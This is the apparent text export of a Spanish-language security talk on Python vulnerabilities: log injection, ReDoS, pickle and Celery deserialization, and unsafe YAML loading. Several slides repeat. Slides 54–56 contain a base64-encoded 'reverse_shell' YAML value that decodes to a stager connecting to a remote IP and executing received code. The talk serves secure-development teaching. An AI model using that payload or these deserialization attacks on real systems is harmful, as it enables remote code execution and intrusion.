Hace mucho tiempo que Python dejó de ser un lenguaje de scripting para convertirse en una potente herramienta mucho más genérica: Google, DropBox, Yahoo o NASA, entre otras, puedan dan buena cuenta de ello.
En la charla repasaremos de forma práctica las principales vulnerabilidades, inyecciones y fallos de seguridad causados por la propia implementación y uso frecuente del lenguaje. ¿O pensabas que estas cosas solo eran cosa de Java o PHP? :-P.
Seguridad & Python: El desarrollo seguro no sólo es cosa de Java
1. DANIEL GARCÍA (CR0HN)
SEGURIDAD & PYTHON
EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
https://github.com/cr0hn/i-owasp-madrid
2. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DE QUÉ VA ESTA CHARLA?
▸ Seguridad en código en Python
▸ OWASP aplicado a Python.
▸ Seguridad práctica en Python
▸ Hacking a Python.
▸ E x p l o t a c i ó n d e
vulnerabilidades NO tan
típicas…
3. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES TÍPICAS
▸ Cross Site Scripting (XSS).
▸ SQL Injection
▸ Auth
▸ ….
4. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES TÍPICAS
▸ Cross Site Scripting (XSS).
▸ SQL Injection
▸ Auth
▸ ….
5. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES TÍPICAS
▸ Cross Site Scripting (XSS).
▸ SQL Injection
▸ Auth
▸ ….
6. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES POCO
CONOCIDAS
7. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION
8. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (1/3)
@app.route("/info", methods=["POST"])
def logi():
data = request.form['id']
log.debug("[*] Tried to get info '" + data + "' from the user.")
return "got info!"
logi/app.py
9. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (1/3)
@app.route("/info", methods=["POST"])
def logi():
data = request.form['id']
log.debug("[*] Tried to get info '" + data + "' from the user.")
return "got info!"
logi/app.py
10. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (2/3)
11. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (2/3)
12. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (3/3)
13. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (3/3)
14. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX
15. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (1/3)
Regex: ^(a+)+$
16. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (1/3)
Regex: ^(a+)+$
17. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (1/3)
Regex: ^(a+)+$
Denial Of System (DoS)
18. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (2/3)
@app.route("/mailme/<mail>", methods=["GET"])
def logi(mail=None):
if re.match(r'^([a-zA-Z0-9])(([-.]|[_]+)?([a-zA-
Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}
[a-z]{2,3}))$', mail):
return "mail sent to: %s" % mail
else:
return "mail forma invalid"
19. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (2/3)
@app.route("/mailme/<mail>", methods=["GET"])
def logi(mail=None):
if re.match(r'^([a-zA-Z0-9])(([-.]|[_]+)?([a-zA-
Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}
[a-z]{2,3}))$', mail):
return "mail sent to: %s" % mail
else:
return "mail forma invalid"
20. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (3/3)
Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
21. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (3/3)
Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
22. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (3/3)
Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
23. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (3/3)
Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
30 seconds
24. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES
“RARUNAS" I: PICKLE
25. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QÚE ES Y PARA QUÉ SIRVE
PICKLE
26. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ ES PICKLE
▸ Módulo de Python que permite serializar y deserializar
estructuras de Python.
▸ Es muy sencillo de utilizar.
▸ Viene incorporado con las librerías nativas.
▸ Es el formato de serialización por defecto de muchos
frameworks.
27. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ PROBLEMA HAY CON PICKLE?
28. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ PROBLEMA HAY CON PICKLE?
29. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ PROBLEMA HAY CON PICKLE?
30. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
CÓMO FUNCIONA? (1/2)
# -*- coding: utf-8 -*-
import pickle
class ImSoHappy(object):
def __init__(self):
self.my_var = []
def main():
pickle.dump(ImSoHappy(), open("my_info.db", "wb"))
if __name__ == '__main__':
main()
pickle/pickle-good.py
31. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
CÓMO FUNCIONA? (1/2)
# -*- coding: utf-8 -*-
import pickle
class ImSoHappy(object):
def __init__(self):
self.my_var = []
def main():
pickle.dump(ImSoHappy(), open("my_info.db", "wb"))
if __name__ == '__main__':
main()
pickle/pickle-good.py
32. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
CÓMO FUNCIONA? (2/2)
?c__main__
ImSoHappy
q)?q}qXmy_varq]qsb.
pickle/my_info.db
33. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VOLVÁMONOS MALOS
34. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VOLVÁMONOS MALOS
35. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI…
▸ Pickle nos permitiera modificar el flujo de deserialización?
▸ Y si pudiéramos intervenir y ejecutar cuando un objeto de
deserializa?
▸ Y si ejecutaremos cosas malas?
▸ Y si fuéramos muy muy muy malos… y si inyectáramos un
shell????
36. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI…
▸ Pickle nos permitiera modificar el flujo de deserialización?
▸ Y si pudiéramos intervenir y ejecutar cuando un objeto de
deserializa?
▸ Y si ejecutaremos cosas malas?
▸ Y si fuéramos muy muy muy malos… y si inyectáramos un
shell????
37. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… HICIÉRAMOS UNA DEMO?
pickle/pickle-004.py
pickle/pickle-003.py
pickle/pickle-002.py
pickle/pickle-001.py
38. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… HICIÉRAMOS UNA DEMO?
pickle/pickle-004.py
pickle/pickle-003.py
pickle/pickle-002.py
pickle/pickle-001.py
39. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
CELERY + PICKLE: GRAN FALLO DE SEGURIDAD
40. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (1/5)
41. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (2/5)
42. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (2/5)
43. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (3/5)
worker 2
Worker
worker 1
Worker
heavy_action()
44. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (3/5)
Broker
worker 2
Worker
worker 1
Worker
heavy_action()
45. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (4/5)
from celery import Celery
app = Celery(broker="redis://127.0.0.1")
@app.task(name="heavy_action")
def heavy_action(param):
print(param)
def main():
# Exploit!
app.send_task("heavy_action", (MyLittleBastard(), ))
pickle/celery_exploit.py
46. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (5/5)
¡Demo time!
47. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES
“RARUNAS" II: YAML
48. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ ES EL YAML
import yaml
YAML = '''
hello: world
how:
- are
- you
'''
def main():
print(yaml.load(YAML))
if __name__ == '__main__':
main()
{
'how': ['are', 'you'],
'hello': ‘world’
}
yml/yml-001.py
49. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAML
import yaml
YAML = '''
hello: world
how:
- are
- you
my_bool: !!bool False
'''
def main():
print(yaml.load(YAML))
{
'my_bool': False,
'hello': 'world',
'how': ['are', ‘you']
}
yml/yml-002.py
50. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAML
import yaml
YAML = '''
hello: world
how:
- are
- you
my_bool: !!bool False
'''
def main():
print(yaml.load(YAML))
{
'my_bool': False,
'hello': 'world',
'how': ['are', ‘you']
}
yml/yml-002.py
51. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAML
http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes
52. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAML
http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes
53. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAML
http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes
54. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EJEMPLOS… YUHU!!!
import yaml
YAML = '''
hello: world
how:
- are
- you
gif_image: !!binary
"R0lGODlhDAAMAIQAAP//9/
X17unp5WZmZgAAAOfn515eXvPz7Y6Oju
Dg4J
+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP
/++f/++f/++f/++f/++f/++f/++f/+
+f/++f/++f/++f/++f/++f/++SH
+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAA
MAAAFLCAgjoEwnuNAFOhpEMTRiggcz4B
NJHrv/
zCFcLiwMWYNG84BwwEeECcgggoBADs="
'''
import yaml
YAML = '''
hello: world
how:
- are
- you
reverse_shell: !!binary
"aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1
zb2NrZXQuc29ja2V0KDIsc29ja2V0LlN
PQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCc
xMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN
0cnVjdC51bnBhY2soJz5JJyxzLnJlY3Y
oNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWx
lIGxlbihkKTxsOgoJZCs9cy5yZWN2KGw
tbGVuKGQpKQpleGVjKGQseydzJzpzfSk
K"
'''
yml/yml-003.py yml/yml-004.py
55. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EJEMPLOS… YUHU!!!
import yaml
YAML = '''
hello: world
how:
- are
- you
gif_image: !!binary
"R0lGODlhDAAMAIQAAP//9/
X17unp5WZmZgAAAOfn515eXvPz7Y6Oju
Dg4J
+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP
/++f/++f/++f/++f/++f/++f/++f/+
+f/++f/++f/++f/++f/++f/++SH
+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAA
MAAAFLCAgjoEwnuNAFOhpEMTRiggcz4B
NJHrv/
zCFcLiwMWYNG84BwwEeECcgggoBADs="
'''
import yaml
YAML = '''
hello: world
how:
- are
- you
reverse_shell: !!binary
"aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1
zb2NrZXQuc29ja2V0KDIsc29ja2V0LlN
PQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCc
xMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN
0cnVjdC51bnBhY2soJz5JJyxzLnJlY3Y
oNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWx
lIGxlbihkKTxsOgoJZCs9cy5yZWN2KGw
tbGVuKGQpKQpleGVjKGQseydzJzpzfSk
K"
'''
yml/yml-003.py yml/yml-004.py
56. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EJEMPLOS… YUHU!!!
import yaml
YAML = '''
hello: world
how:
- are
- you
gif_image: !!binary
"R0lGODlhDAAMAIQAAP//9/
X17unp5WZmZgAAAOfn515eXvPz7Y6Oju
Dg4J
+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP
/++f/++f/++f/++f/++f/++f/++f/+
+f/++f/++f/++f/++f/++f/++SH
+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAA
MAAAFLCAgjoEwnuNAFOhpEMTRiggcz4B
NJHrv/
zCFcLiwMWYNG84BwwEeECcgggoBADs="
'''
import yaml
YAML = '''
hello: world
how:
- are
- you
reverse_shell: !!binary
"aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1
zb2NrZXQuc29ja2V0KDIsc29ja2V0LlN
PQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCc
xMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN
0cnVjdC51bnBhY2soJz5JJyxzLnJlY3Y
oNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWx
lIGxlbihkKTxsOgoJZCs9cy5yZWN2KGw
tbGVuKGQpKQpleGVjKGQseydzJzpzfSk
K"
'''
yml/yml-003.py yml/yml-004.py
57. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
¡GRACIAS!